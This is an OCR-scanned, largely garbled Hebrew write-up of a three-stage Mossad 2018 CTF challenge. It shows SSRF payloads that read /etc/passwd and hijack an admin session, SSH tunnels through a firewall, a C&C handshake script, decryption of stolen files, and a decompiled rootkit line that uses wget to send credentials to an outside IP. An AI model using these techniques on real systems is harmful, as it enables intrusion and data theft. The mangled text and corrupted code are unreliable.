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Quad9 - 9.9.9.9
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from PIL import Image
import sys

UNIQUE COLOR

def
new pixels =

for pixel in pixels:
if list(pixel) == UNIQUE COLOR:
new pixels.append((0, 0, 0))
else:
new pixels.append( (255,

return new pixels

(image) :
new = Image.new('RGB', image.size)

pixels = extract unique (image.getdata())
new.putdata (pixels)

return new

():

if len(sys.argv) < 2:
print .format (sys.argv[0])
return

in image = Image.open(sys.argv[1l])
out = sys.argv[2]

converted = convert image (in_ image)
converted.save (out)
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Challenge #1

Welcome back Agent CI

Your help is needed once again to solve an urgent matter.

Our digital forensics division is frying to track the source of a phishing attack on one of
our government officials.

We have found an email which seems to be related to this attempt and points to a news
blog.

We require your skills to track the source of this sophisticated attack.

The following leads to the news blog.

Good luckl,
M|
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Main Page Sports Fashion

On the news

It looks like the damage caused by last
week's severe storm continues to
cause problems. The main roads are
still blocked and the local sanitation
department is still working to clean the
pipes. This is the main road just
moments ago, 5 days after the storm!

WOW! this is amazing!!

| knew it would happen!. | warned them at the sanitation!!

Tech

Our 'tech’ analyst reports there is
evidence of - what seems to be - a new
cyber attack on News Blogs around the
WWW. The attack is reported to be led
by a hacker called 'Anonymous’, and
targets mainly LINUX systems that are
vulnerable to the new 'pass-through’
exploit reported earlier this year. Our
analyst examined our servers (DRK™
news main server is also a LINUX
server) and assured us we are not
vulnerable to attacks...

:D'2'VN NIFNY 0'710'Y DITINY 1901 1IXYN TNX] D'VIV'Y YN NX

7¢ KON NAMDY D) TIMYN N'MNNA 72'70 7V 0'¥N17 TWXD XYM Administration-n Ty~
(hnxn

Register-n TNI'M2 ,D"'"yn 0O'X1IY Register-ni Login-n 'Tny e

N1MYNn N'RNIY auth_stealer.js X1j71w UOMPO7 NWA W' o
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178W NXM) Burp-n Niwpan Tiv'Na authstealer_exploit.js-7 nwnan NX XnaIT? NIKY? TWON

T DX 0'DNY M 7¢ IP-N NAIMD DX A'Wn7 12'7251 721ITA ITT DA INIR 7W no9pnnn "nimxy”
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28
27
26
25
24
23
22
21
20
16

http://35.2056.32.11
http://35.205.32.11
http://35.206.32.11
http://35.205.32 11
http://35.206.32.11
http://35.2056.32.11
http://35.206.32.11
http://35.206.32.11
http://35.205.32.11
http://35.206.32.11

GET
GET
GET
GET
GET
GET
GET
GET
GET
GET

/static/shoe. jpg
/static/athlete.png
/static/flood. jpg
/static/user_png
/static/drk_logo1.png
/static/hacker_|pg
fauthstealer_exploit.js
/static/style.css
[static/jquery.js

/main

2'91M9N NAINN NX PTIAY TNI'M2 |"IYN NTY Y'Y NX1] DIYN Tinya

Please enter your registration information below:

First name
Last name
User name
Password

Profile pic URL

SUBMIT!

17
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vy

<script type=
function getProfilePic ()

{

var url regex

url = $(
if (url != )
{
if (!url regex.test (url))
{
alert ( + url);
return;
}
S.getJSON ( , { u: btoa(url) }, showProfilePng)
}
}
function showProfilePng (json)
{
if (json && in json)
{
S ( ) [0] .src = + json.png;
}

(json && in json && json.err != && Json.err !'=
&& Jjson.err !'= )

{
alert (json.err);
}
}
</script>

war ANk (Client Side-a ny¥ann n713 X'Nw) Regex-n 7 Nj7*Tan NX 11121 NTNA D NIKNT7 N1
7V ,unnwnd ,pn ANXY7 .0"10N json 1'TNN7I N7'aWa NIMNN DX JIvn? NIn 7Y TAY NaImdY

Jjson-2 Ny PNG nTwinl /profilePics/ :2'M17 Nwa7 ¥ ,n1mn'? nwa? nin

TIX 1172V 021 js-n NITYA K71 DT APTan DR DN7Y) Wy 75 DIYNY7 QWOX DX NIKYT 1'%
INNAYN NN 07270 11NIRY 1'R1(Client Side N 1an

not a valid png url

err: "Url is not a .png file!"
png: war
session: "Cookie saved: False"

o OO Inspector Console [ Debugger  {} StyleEditor (@ Performa

W % Filter output
» location = "testProfilePng?u=" + btoa("http://www.hacker.com")
& "testProfilePng?u=aHRBcDovL3d3dySoYWNrIXIuY29t™
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1NN qioa ".png"-n N72an 7V 1aann? 1'%y L0y akwn? NRx? nwiza? nnma? nn Yy
N2 PR IYPENY PTIA 0 XX PNG Yaljpa "aIme T2 1k X7 Dwn D antn g nninn

NN NPT 1'wy Path-n 7y X971 1wEn 7Y waTa Lt nnirro

are: war

png:

SESS10M: “"Cookie saved: False"

@ {7 Inspector Console [ Debugger  {} StyleEditor (5 Performance o |

T F Filter output
¥» location = “"testProfilePng?u=" + btoa("http://www.hacker.com#.png")
& "testProfilePng?u=aHR@cDovl3d3dySoYWNrZXIuY29t Iy Subme="

v nwixmn NN © loxny nivpa 19'R Niwyy? [N nydi PNG-n 7w np'Tan nX 111y ™R 7p

JS'SSRE" :X17 nn %

NT 7wn%) myy TiNy? 7ann DX P71 ,07'2Wd Awpan DR KRNI DWNY XN SSRF-1 (1IN
Tiny7? Tw' wi7a oxkw NN ocalhost-n yaan nwpanw nip'tTa 12y o'nt nnax (127.0.0.1
|w'n 401 NX 172y TV IR DT DR NIWY7 1'01 .localhost nwaa D NINS NNt Administration

minnhal

Uri JNIX T2 X7 Mwn IR Scheme-n 7V DA D'U7IY DNIRY NINY7 DD D79 KD |1'O'N

9TOTN T DN'™7X NY'AL 0'M"I0N D'ANYA NNTAN7 0119719 T T 0ON Schemes

YMon X7n nwa D1 wnnwnt 17 MYONN IT NNd0 .expect X1 '0719'T X7 Scheme v

RXINN DX 17271 NI7W7 12'01 .system-1 NIN'W' DT YNIn'? NI0171, "expect”

err: "Invalid scheme: expect"
png: o
session: "Cookie saved: False™

e L7 Inspector Console [ Debugger {1} StyleEditer (& Perform

W 7 Filter output
#» location = "testProfilePng?u=" + btoal"expect://whoami#.png")
© "testProfilePng?u=ZxXhwZWN@0i8vdZhvYWlpIySwbmc="

.Scheme-n 7y D'0V7IY NNIRY IW'R 1727 X ,expect 'R DINIX
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Mile://" ;0 1027 Xan 2T

err: "Gccess Denied.”
png o
session: "Cookie saved: False"

@ L7 Inspector Console [ Debugger {} StyleEditor (@ Performancy

W % Filter output
#» location = "testProfilePngiu=" + btoa("file:///etc/passwd#.png")
& "testProfilePng?u=ZmlsZTovLly31ldGMvcGFzc3dkIySwhme=""

X passwd 72V Access Denied 1172'p Dinix 17010 7y 027 nwa? onYoxn IRW AR 1nan
N'2N7 N'NNKAN 27N, NINT YNAT IN7¥NW NINKR .PO'TNN D'Y¥AR XNP7 nwa 117 Y'Y AR NINSY
7w D'yapn o7 'MWA L9 TV (11N .AYIY KIN NN NIRYZENI017 T Mwn YW TIpn DX
N1 T2y PR AT, /var/www/login.php" :yalzn nX X'an'? 11'0n "/var/www"-2 nrawrr web-n naw

XD 121N X NIXYY

"admin™);

session 72" nwpan X' ,admin ' user_name Y0NI9NI 127.0.0.1-n WAl DRY NIXT? TWON

ANKY? NN97 1XYW AT DA KIN ,ADMIN 7w SIDN DX 72w AT RID NYRAN XY (100 . 'MTR Y

.administration-7 |pn
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.administration-n TIMY7 N1197 10X'W N1 D2 KIN 271 SID-N DX 722'w DT XD DWW npna

...profilePics 1T - TIXN VIYD ?NIWNN NX 72771 'R

NINTTNY? DMWY DN2Y7 nan 7y SSRF-n 71X

err: raear
png:
session: "Cookie saved: True"
@ LI Inspector Conscle [ Debugger {} StyleEditor (& Pedformance  k Memory = Metw

T S Filter output
»» location = "testProfilePng?u=" + btoa("http://127.8.8.1/login.php?user_name=admin#.png")
& "testProfilePng?u=aHR@cDovizEyNydwl JAuMS3sb2dpbiSwaHA  dXN1c]19uYWl1PWF kbWluIySwbme="

21NN TyY nw'a

err: n2ean
png: "administration”
session: "Cookie saved: Trus"

e L1 Inspector Console [ Debugger  {} StyleEditer (& Performance  # Memon

W 7 Filter output
¥ location = "testProfilePng?u=" + btoa("http://127.8.8.1/administration#.png")
& "testProfilePng?u=aHR@cDovLzEyNydwl JAUMSOhZGlpbmlzdHI hdGlvbiMucGEn™

0790 N1l
uertame | g Tmohdiod | Conman ot

athlete 212789 a%ggflg That was funny ;)

theR@InM@n 199.53.1.29 Al WOW!I this is amazingll

04/08/14

1whoknows 198.4 76.3 ;I)gggf%]i IS::ﬁgdi(t”:ﬂ:!ouId happenl. | warmned them at the
CalvinK 213.17.82.1 ggfggf?; It's so last year

onmous 1z 13114 ST vl s o stplse s 2032
DEP-ricate 112.15.82 16 g;ﬁg;g 48614861486121
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© Imrrn RN 7 IP-0 DK IR¥NY NRTD

Success!

Well Donel

You have successfully finished your 1st mission.

This is your success token:

bUtgSUZKbDVOQWZCTkInTkin Yk9tdVVWYWpOclJobVdkSUNTMmAwSDBCJONGTOR
ydi9oNONvODdXZFdIZ0d2RGYidjhIVkSriWDREWngyRGRDM1FRTFESPQ—

You may now send your token and contact info to the following

You can also collect and submit additional tokens by completing more challenges.

Take the Next Challenge

212w

Challenge #2

Well done Agentl

Thanks to your efforts, our team has managed to locate and detain one of the hackers
responsible.
She was not cooperative, but we were able to extract a snippet of an application from

her phone. We suspect it is used for gathering intelligence from their victims.
Your next mission is to locate the files the team stole following their successtul phishing
attack.

We executed the parts we extracted in a sandbox and managed to capture its initial
communication with a c&c server. The following contains the captured data.

Needless to say, the information that was stolen is very valuable to us, so please do your
best to retneve it before it leaks.

Good luckl,
M.

INY7D MY 7m 'Y 19100 7Y YaIA 7' NNn wn Q7N DR TR

'X X0M2 - 2018 ToInn 7w o1an Mank |INNoS
www.DigitalWhisper.co.il
22 2018 'xn ,94 |I"12




Technologic

‘D'2'2yn DNAT NND NIRYY 7211 oW1 Wireshark-2 yaizn Nk Nno)

INYn N 0'73apn 5555 V1192 "35.204.90.89" :nTn IP-n X DaANNNW TCP Sessions 2 Dlw' e

NN11 91027 .0'N 128 7w INW7) Hex NNWN 7R DN'TNNA DN WNK7I Hex-2 0'in 32 11> XMy

JINWNY AT WK 073N D

4bad54feaada3fbbd7aacl3b748fc@4l
9232d6bcee8ata37ba2sefd79c@5c3b2dcdBcbfeaoade74e73a9790f23cbff33af492ad8a79b562132129472d96T48201eTe88947113e2T@bce3c519d980dIes
5.2508.159.25 Temporarily Authorized.

DYI user WYNNYNnN DY DNANNN 12 2121 v119a "35.204.90.89" nwn 7n FTP 7w Session W' e

112345 :xno'on

228 pyftpdlib 1.5.3 ready.
USER user
331 Username ok, send password.
PASS 12345
238 Login successful.
SYST
215 UNIX Type: L8
FEAT
211-Features supported:

EPRT

EPSV

MDTM

MFMT

MLST type*;perm*;size*;modify*;unique®;unix.mode;unix.uid;unix.gid;
REST STREAM

SIZE

TVFS

UTF8

211 End FEAT.
OPTS MLST type;perm;size;modify;unique;unix.mode;
288 MLST OPTS type;perm;size;modify;uniquesunix.mode;
OPTS UTFE& ON

581 Invalid argument.

PWD

257 /" is the current directory.
TYPE A

288 Type set to: ASCII.

PASW

227 Entering passive mode (35,204,90,89,254,167).
MLSD

125 Data connection already open. Transfer starting.
226 Transfer complete.
QUIT

221 Goodbye.

JIUNRIN 0D D'-Session W TIY DIY' e

'1mr7 YN D"?JPYJ 1INIX N2 5555 VDN 7 AITIMN N'X7'UININN DX D'VYXAN TYUKROY 1DNIN

7NNl NNIXR 12NN FTP-n 7¥ M1N0NY RN NN NIRT NIYWYY 1'0'1 ©WKRD D LFTP-7 ninannn?

JN'Y NI

hex-NW 1Man NawNn N¥p NNX .0 VIS D'NYIY DMATA NIFfN7 09710' NN 2wWN? 1N7NNN

NXIN AT D'N71IWW 1vonl 100,000-7 10,000 |2 W90n 7w MD5 X0 Mwnn Y78 N7wIY

(17w TNt IR 9722 SHA512-2 12 D NINT? N1) TR TIVE 190NN INIK 7w SHA512

23
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JARTI NID 12N I

MD5-1 'aITiN 190N N7ajp e

190NN NKX KI¥NY? "D MD5-N NNy e
190n7 Q'oIN? e

MY NATh NPT SHAS12 1y niwy? e

XAN VO9"PON NKX 11AND D 7ava

import socket
import hashlib

def ()
s = socket.socket ()
s.connect (('35.204.90.89', 5555))
a = s.recv(1024) .strip()
for i in xrange (10000, 100000) :
if hashlib.md5 (str (i)) .hexdigest ()

== a
s.send (hashlib.sha512 (str(i + 1)) .hexdigest ()
print 'found'
break

recv (1024)

2V D'¥270 MDY N'RN D .07 77D N I TAINY 07101 FTP-n MwY nwa 12y oxva d

FTP-n nw
backup 18/02/2018 170737 el
bin 18/02/2018 17:07:37 el
data 18/02/2018 17:07:37 el
docs 18/02/2018 17:07:37 el
sys 18/02/2018 170737 el
temp 18/02/2018 17:07:37 el
tmp 18/02/2018 17:07:37 el
USErs 18/02/2018 17:07:37 el
var 18/02/2018 17:07:37 el

:D'NAN DTN DX RN TIAWY? NN AW D NY9RPIZ 0Y¥aApn 7D R DTN
D'29XIN X D2"IYyN NIFXIADIIR XA [IAN [N 07N backup nvp'n e
X o0 WWKX hint Yaipn NX ,passphrase oy [9¥m RSA nnon n7'on "/users/backup” n'ip'nin e

noxin floppyfw K7W Inwn 7w nirvaiaroip oy W | Latest NRO7IW N'7' NI passphrase-n

']:)'7 IINIXR YNW' NNONAY O'NIV NN D ,NNONN NMTV] D'XAP7N NX nayoY? AT MmN YN 11'01
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.N910NN 7V 11ONNOoN VIYS 7771 NTh MWD NN NPT X7 Dyo QRY 112N OYIN NYaAany MNX

:D'X2N D'0YI9N DX 11'7'a1 NMAP NAtva 17w 0'01I19 10

Starting Nmap 7.12 ( https nmap.org ) at 2018-04-21 15:04 Jerusalem Daylight Time
mass_dns: v ing: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns
Nmap scan report for 35.204.90.89
s up (0.082s latency).
shown: 64996 filtered ports, 536 closed ports

STATE SERVICE
22/tcp open ssh
2121/tcp open ccproxy-ftp
5555/tcp open freeciv

Nmap done: 1 IP address (1 host up) scanned in 230.99 seconds

NN output-n NN 172'7 N I'7R 12NNNY7 1'07 ,1I'7Y 11AwN K7W NINS SSH 019 W' X L [*yn
D'MANNN DX ,NN9AN NIX R¥XA NP 179¥RY (1N "backup” wnnwnn oy mMannny |'x7 v)

:(NTH output-n NX D72 X7 D'INX D'YNNYN DY

SHELL-n 21 bin n'7'M% false owa X1 NI7yn7 N'7¥n? N1 NIYY? 1XYW DAwNY nn nTn 2A7v2
floppyfw.enc-n NX NINDY7 |I'01l D'YNNWNN IRY DY NPN'YI AT NN AT 7V DAY .oNp' X7 n7Y
DY W'Y 12'7'2 DIXNOI ,NDD NI7Yn7 21N sftp DY "annNn? N1017 1awN A7 N2N DX .AN'7xn K77

:DN'7R D'WA] NNIRY o'xap Ty

O[] & &\
Name Size (KB} Last modified Owner Group Access Size (Bytes)
.zsh 2018-03-11 1218 0 o drwxr-xr-x 4095
E conf_enc.pyc 1 2018-02-04 15:45 0 0 e [e [ 1802

'X X0 - 2018 ToInn 7w o1fan ManX |INNDS
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ANIN 17 TN Y2177 uncompyle n'wy

import base64

from Crypto.Cipher import AES
from Crypto import Random
import sys

import os

key = 'd3adb33£f13371337"'
BS = 16

pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]1

class

def (self, key):
self.key = key

(self, raw):
raw = pad(raw)
iv = Random.new () .read (AES.block size)
cipher = AES.new(self.key, AES.MODE CBC, 1iv)
return base64.b6dencode (iv + cipher.encrypt (raw))

() s

if len(sys.argv) != 2:
exit (1)

in file = sys.argv([1l]

if os.path.isfile(in file):
out file = in file + '.e
fin = file(in file, '
fout = file(out file,
cypher = AESCipher (key)
enc_data = cypher.encrypt (fin)
fout.write (enc_data)
fout.close ()

:D19XINN D'¥APN DX 11MWSI decrypt NWIVY 7700 DX TIR'7 119010

(self, enc):
enc = base64.bo6ddecode (enc)
iv = enc[:AES.block size]
cipher = AES.new(self.key, AES.MODE CBC, 1iv)
return unpad (cipher.decrypt (enc[AES.block size:])) .decode('utf-

(cisco.conf-I floppyfw.conf) NX¥NW enc-n '¥aj7 NIY NX NINDY7 1IN7¥N NT NNTYA

DN DN DY DP7NN

1 permit tcp any host 10.128.0. q 3389
1 permit tcp any host 10.128.0. q 8080
1 deny tcp any any

access-1list 2 permit tcp any host 10.164.0.3 eq -
access-1list 2 deny tcp any any

'X X0 - 2018 ToInn 7w o1fan ManX |INNDS
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27w DY N1annl , NINTIR DYA DNANKD DY D7 NN'WNDN NNNYEL,0MNS 0-IP-2 "army 1'RY

'WYY NN LPY7 L IURIN ANk WEB-n nwY DNIvp DN 1awN ,0'TIEn D2A7wUnn 79N XN

:NINQN MIYN NNTYA 0'N90 0-IP-N 7R DTN 27w nR¥nw SSRF-n 0T nwa? nn

location= +btoa (

)

XN QTN X INIR 7N nn

Index of /

Name Last modified Size Description

ﬁ] stolen files/ 2018-02-19 07:25 -

N2 YN DR 17271 stolen_files-7 nwan jpn AnNY?

Name

Index of /stolen_files

Last modified Size Description

a Parent Directory

@ mossad 2018_challenge solution.doc 2018-02-19 09:03 662

72231 Yalzn NX W) niolol

Success!

Well Donel

You have successfully finished your 2nd missio
This is your success token:

n.

cIRGZFJ4VUpac1dCWVIMbVRXMG5pbzIVVFRGUO9WbUZsNzcvV1F0eGIVT3pMWIMz
b3Exd2ivUzZhNWdmNmIZVHhuQkUvOEXObBENCeTZ2RXdIRmMtRLOEIPQ==

You may now send your token and contact info

to the following

You can also collect and submit additional tokens by completing more challenges.

Take the Next Challenge

12 2%w nx 1o

'X X0M2 - 2018 ToInn 7w o1an Mank |INNoS
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,0'-session NI'Va NX1IN '722) "nothing here" nk'aw 1272'7 112N 72K ,1IN78N DRW AR ,NT 2702

.(MMTIP D1wa n7Xd DMAT 'K 12D

DNl ,0%7UN DR 1NNS 'R 7V 120N DY DI'ON 7'M 0NN IR 12119 NANKRD DK 1NY0 UKD
ANXNY 12'2N 0N ;0N NRXIND .AWUN 27WY7 [IWRIN 2700 2 YW DIN7 mx X7 pRY 17 NUR
NYN 277 2IY 1WA MANRD DR IN97 1010 TWRD LNIFTA INKT7 INIX NAOI NANKA '0M7 AN

D297 XIN N1l ,('unxn "X RIDNN 7R nn) qQon |NN'S ANKX YIdS'N2a

22 0N192 10.164.0.3-7 w21 NXND N7W NYNY 112N 17 W'Y DXIADAIEN '¥Ap 7V 1ayn NN
['Ixnw '9) 3389-1 8080 D'V 10.128.0.3-7 w1 nXMD firewall-n .firewall NN wnwn Xinwi

N IWN DI nm "Manxn nwn" ,[191 NIXAIA'ON PN NX 12N DRYI,N'XAIA'9]1 722

&=

10.128.0.3 10.164.0.3 35.204.90.89

:NTIRON NTYA FIREWALL? nwa? 1 i¥'nn nwn 2V Tunnel 117uon

@35.204.90.89 9000:10.164.0.3:22 -N

:SSH-n 7w pflag-n 7y 20N Nyp

112NDW '9) .SSH-1 1anNn ANX UKD shell-n NX yn 78,0170 ,"no tty" oxva XIn -N annn e
"/bin/false" yaizn 7w n¥NN DX QIpy7? AN KW 9921 X0 shell nxnn X7w naron ,0Tim

local_port:dest_ip:dest_port nxyvnvLYON INNKI Llocal port forward 7w Aann XN -Lannn e
.NaNN "IYNnY M7 SSH 7w man-2 XNp? N

:Firewall-7 D'w'a1 nNIRY NIXTT7 TWON NnXAl
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1wn Tunnel-d IR 7'v9n7 15 XNO'ONI YNNWNAN NN 207 IRWA)

MY DN

username fwadmin password 7 107D1C09560521580F16693F14082026351C1512

.NN0'0N NN N2 X7 X fwadmin XIn wNNWNnW NIRY7 TWONR

|¥' 21200 (122102 N2ITAYW Janoni L "password 7" 0191l 170'0 W NINNO'O 7V 73122 nw9'n

IXD IMIX NIYO7 'R 7V 120N NI¥XNT? TWON ,W7NI

Type ¥ Password: |[107D1C09560521580F 16693F 14082026351C1512

Crack Password
Plain text: |Sup3r33cr#tP @ssword

DTIZAN D'V NNIR DX N72yNn 178 2NN 1'0 L I'7R w7 Wwon firewall-7 knoron NX 17 v ™

..MYON D' K7 112N XD DAY 11NIN DY ,"false"-n Dy

|27 .01 DIYY NNIK N7'2m X7 1T 27195¢ 11'RY 0yon X SFTP-2 Nt NOw7? DA 1annnY 11'on

(...07YN7 M72IXY NIYIIADIAIENN 12'7'2 IS NX) ,ARAN NTIZON NITY 90N 7aRV NN

@127.0.0.1 9001:10.128.0.3:8080

NN VY IDNN DAY NIXIN 0T N'SIoN NXYINYT 17YAN DYON

Index of /stolen_files

Name Last modified Size Description

a Parent Directory -
@ mossad 2018 challenge solution doc 2018-02-19 09:03 662

©
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32w

Challenge #3

Very good Agentl

Following your success in finding the hacking teams' internal storage system, our
intelligence ofificers have discovered what we believe to be a new and sophisticated
rootkit framework they have been developing.

We also managed to get a copy of a prototype utility that helps reveal their rootkit on
infected systems. You can get if from the following

We require your skills in invesgating it and reporting how the rootkit operates.

Thanks again for your effort, and Good Luckl,
M.

TAX "X KIN busybox ;00N K7W MY .0'019 T NP 172 busybox X1j7aw yalp D'7apn 1nax

.("D1 wget ,cat ,Is) Oj712'72 D12 DN 7Y 21 190N 1DINA TARNAN

N'VITIVO K7 NYTIN D721 INIX XN

Jamd XN NN IWXRIN 12T left you a hint at /tmp" Xin "aynn 77200

1s /tmp

AT T A N7 090

s: fuos: No such file or directo

Y7 11'01 ?uos-7 19N tmp Nn?

ls aaaaaaaaaaaaaaa

Hhyaly]l
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NN INS97 ' 1Y OPTI'RN WY qolnn In 757 N2 ,nnn Ta Mwn VMIARN .7 NN N2 NYd

RN IR DIDNNY NN XY 2'NAY CT 17W O TI'RN NIX N 701 Yon? oM ,nT

:N2N V9MIPON NN 11AND P NIXY

import string
import sys

def ()
line = sys.argv[1l]
converted = []

for index, char in enumerate(line) :
if char in string.lowercase:
converted.append(string.lowercase[ord(char) - ord('a') -
index])
else:
converted.append (char)

print ''.join (converted)

if name
main ()

W' DX NIX7Z1 RN 7V strings NIWYY 110700 ."yn yalp DIV DY ' K7 72X s /tmp n'wy
NNKRY K7W 0'¥ap 9'oin busybox-nw 111N [XdN DTN NION"NN 7y /tmp T7 |"ayn Inwn

)2 TIAY? 7901 AR KNI ROTN 7Y 117 oMty

admin --default-pass

:readme-n yaI7 X XNj77 NN ANAN NTIRO9N DX XN L, NIYYYT Y7V DD NN ANy XY

./busybox cat /skm/.lxsuct

NN NYTINN DX I]'71'|7 NINT 12X TWUND
Suspicious network activity detected...

USER

1 root
2 ofeks10
31 ofeksl10@
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DY 10D K7V INUN DY YN WK "Troj" X1j7aw 'RINI KINW DT'R XD W'Y NN, TIRND [1yn
MmN ,ntn (deleted)-n Nt Nn 7y ¥ wI9'Nn NNX L (deleted) 17w Dwn T Y'9ImI XNo'0l Wnnwn

M/proc” 7w man-2 XY Nn

/proc/[pid]/exe
Under Linux 2.2 and later, this file is a2 symbolic link con-
taining the actual pathname of the executed command. This
symbolic link can be dereferenced normally; attempting to open
it will open the executable. You can even type
JSproc/[pid]/exe to run another copy of the same executable
that is being run by process [pid]. If the pathname has been
unlinked, the symbolic link will contain the string
'(deleted)' appended to the original pathname. In a multi-
threaded process, the contents of this symbolic link are not
available if the main thread has already terminated (typically
by calling pthread exit(3)).

Permission to dereference or read (readlink(2)) this symbolic
link is governed by a ptrace access mode
PTRACE_MODE_READ_FSCREDS check; see ptrace(2).

[2'7 ,]N2'TAN INIK XNPY 7212 12 RN 7aN tmp NURIMA KN IR K¥ND X7 IXNDY AN [NON

XN NTIRON DX 1IXN

./busybox cat /oply/1337/tlr > Trej.elf

17w main-n NUXI0] IXRXNY NN NTI NYIY RINn NN NIXT7 "D IDA-2 "IN1'AN DX 1INND

memset{&user, B, @x188ull);
memset{&password, A, Bz188ulL};
default password = "UuwilLH3Iv3rG3ItH3*;
memset{&s, O, O=z480ulL);

option = getopt_long({argc, {(char =const =)argu, "ud”, &long_options_2838, &longind};
if { option == -1 }
break;
switch { option }
{
case ‘p':
if { _bss_start }
strncpy{&password, bss start, Bx188ull};
break;
case ‘'u’:
if { _bss_start }
strncpy{&user, _bss_start, Bz1808ull};
break;
case ‘'d':
strncpy{&password, default password, Bx188ull};
break;
default:
return 1;

sprintf{&s, "wget -0 /Jtmp/.store "http://%s/iso?user=%skpass=%s'", "35.285.32.11", &user, &password);
system{&s);

X'N XD A Y NT07I9TN KNO'ONI WNNWNN DY N7 u-Y 2n%? N NI7pa TINN

.Uw1ILN3v3rG3tM3
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INQN 2270 NIN 17 XYY 2290 DY

http://35.205.32.11/iso?user=admin&pass=Uw1ILN3v3rG3tM3

:D'N2N DNATA DX 7'o1 WK ISO yalp 1awNn? Tim Nt 71'77 0'0101 TWXD

1JPG 2JPG 4.;I‘;|G 5JPG 6.JPG 7JPG THUMBS.DB VAULT

sqlite3 Database -2 sqlite3 yal7> "Nann 010-2 1'2y NXP NIONoNNY Vault yalpn nNfMo WNKRY

:D'19¥IN D'VORO NWITWI index.html yalp ,0'¥ap 4 7'on XINW NINAY N1 viewer

Table: | =] Files - @ &
id name data enc_type key iv_size
|Filter Filter [Fiter [Fiter [Filter [Filter
1 IZI aes.js Usm/va3ngs/r... Blowfish-CBC  External 8
) 1 ........................................... - s o e .
32 key.js MNB6Kat8Z9310... Blowfish-CBC External 8
4 3 script.js n04ScjFpOgy... Blowfish-CBC External 8

NN 117 NNoNY DWW NMIMNN N9'R NIRTYZ N1017 12 thumbs.db viewer 117N 7'2702

B4 Thumbs Viewer — m} = D 256_4934f39705858f86 - — O *®

File Edit Tools Help

# Filename Entry Size Sector Index  Date Madified (UTC)
256_alfd34edb315ebeh 18 KB 4in SAT
256_663ad5764aBabida 15KB 47 in SAT

I o T T I

4 256_df-f{‘.l8a2c5d91 dd20 25KB 99 in SAT

5 256_3addcT3040fTe953 13 KB 131 in SAT

) 256_5e9e7045d262e675 10 KB 179 in SAT

T 236_afa%el3alch7eeld 10 KB 200 in SAT

< >

israel70* :x1n Blowfish-n 7w nNonn NX11DW 2N KON
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:N2N VOON MV DY YW NIY'9] N7NNN

from base64 import b64decode
from Crypto.Cipher import Blowfish
import sys

with open(sys.argv[l], 'r') as encrypted file:
data = b64decode (encrypted file.read())

cipher = Blowfish.new('*israel70*', Blowfish.MODE CBC,
data[:Blowfish.block size])
open (sys.argv[l] + '.dec',
'wb') .write (cipher.decrypt (data[Blowfish.block size:]))

index.html-n yaIz NX 11NN '0TpNn% D2 0'WITIN D'Y¥ARN 770 IR 117 W'Y NRD) WD TR ,N7IVN

NN N'Yaa I]'7|7T\]I oMnd2a

ﬂ Elements Console Sources  Metwork
® | top ¥ | | Filter

»GET http:/f127.8.08.1:1337/key.Js @ ()

NNRAN NTIEON OV NP2 VIYS HTTP Nw 1I¥Nn

python -m SimpleHTTPServer 1337

:Nan Prompt-n NX IJ'71'|7 1"YDVI

127.0.0.1:1337 says

Enter the key please:

.. ANXA DTPNNYT D2 js-N MK NIY97 11'7V 1'WDYYW RN
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[27 eval 10T yam 12 yamn Tipn 7D 12T W 1910w 12'KD,script.js X1j7aw 090N 7V 1170N0N

:NNXINN NIN,NIR NN NIRTTI console.log-1 eval NX 9'7Nn% N0 'wyw nn

- - - o L - . : .

[ Gj Elements Conscle Sources Network Performance Memory Application  Security  Audits| : X

M ® | top ¥ | Filter Default levels ¥ & %%
ion loadScript(src,callback){var xhttp=new XMLHttpRequest();xhttp.onreadystatechange=function()

{if(this.readyState==4&8&this.status==288){eval(this.responseText);if(typeof(callback)!="undefined"'){
callback()}}}:;xhttp.open("GET",src,true) ;xhttp.send() }loadScript(“http: //127.9.9.1:1337 fkey.js")
;loadScript ("http 35.285 35 2.11/ch3/payload”, run);function

1 H I,

r decrypted=CryptolS.AES.decrypt

\\\\\

(payload,key);eval(decrypted.toString(CryptolS.enc.Utf8))}}}

INXI'W N N1 701 beautify n¥p MNX

function loadScript (src, callback) {
var xhttp = new XMLHttpRequest () ;
xhttp.onreadystatechange = function () {
if (this.readyState == 4 && this.status == 200) {
eval (this.responseText) ;
if (typeof (callback) != ) |
callback ()

bi

xhttp.open ( , src, true);

xhttp.send ()
}
loadScript (
loadScript (
loadScript (

function run () {
if (typeof (key) !=
if (typeof (payload) != ) |
var decrypted = CryptoJS.AES.decrypt (payload, key):;
eval (decrypted.toString (CryptodS.enc.Utf8))

NINAN NNIYWA 3-7 0T DR 11020 1INIX

var key =

var decrypted = CryptoJdS.AES.decrypt (payload, key):;
console.log (decrypted.toString (CryptodS.enc.Utf8));

DON I0NA1) AT'YN INIX PPNV LTI 7w 530KB 109TIN 177 ,INIK Y9N N¥P 'Y Npw NN

javascript 7907 0T 1ITw JSfuck NMATva Nj7'wa) Obfuscated TIXn ' TiEn (807 17w npaTn

.(...T2A72 0'un 6 N1V

77221 nodejs NITYA yalzn DX XN (1I007¢) VINVI'RA DINXA NIX NAYD7 NIIFO NXP? TNNY
) I 1 I

NAW NIYN DY TN error 0'9TN VIYSI INIX 17 NW'D Node ,NdNKX TINA NNX NYIYN 101N 17Dy
.00 NI
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RXINN NN

TTI7N DX NDD beautify Ny NNR Q1w

var current = [];

function dispatch (r,
return r (t)

}

function scrmbl sid(r) {

var t = 2

for (i = 0; 1 < r.length; i++) t += String.fromCharCode (170 *
r.charCodeAt (1)) ;

return dispatch (current[4] t)
}
current [0] = window.console.log, current[l] = eval, current[2] = window.prompt,
current[3] = alert, current[4] = btoa, window.console.log = function (r) {

dispatch (current[0], )
}, eval = function (r) {

dispatch (current[0], )
}, prompt = function () {}, alert function (r) {

dispatch (current[3],
}, password = dispatch (current[2], ),

=== dispatch (current([4], password) *?

window.location = + scrmbl sid(sid)
dispatch (current[3], )

1N7W XnOo'oN NX N72'71 "1 b64-n NN 11NV

MN72'PY NN ATEINRY DNIR 10100

Success!

Well Donel

You have successfully finished all the challenges!

This is your final success token:
Mk50dWgzR1pIZ114Q2000G52TjI3MEVBZmVWYVDIyVS9zZIFUVmInNIJIRUJqTWdnND
IxcHptSXB4WGpEc1RUbWxIclJoTOQxVFVINzJWOThkTKFEMWcI9PQ==

please send your token and contact info to the following

A pleasure as always! Until next time___
M.

© It MW7 DA MANKN DX NTOW DKM
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AANKAN NIjzoni Did'o ni'

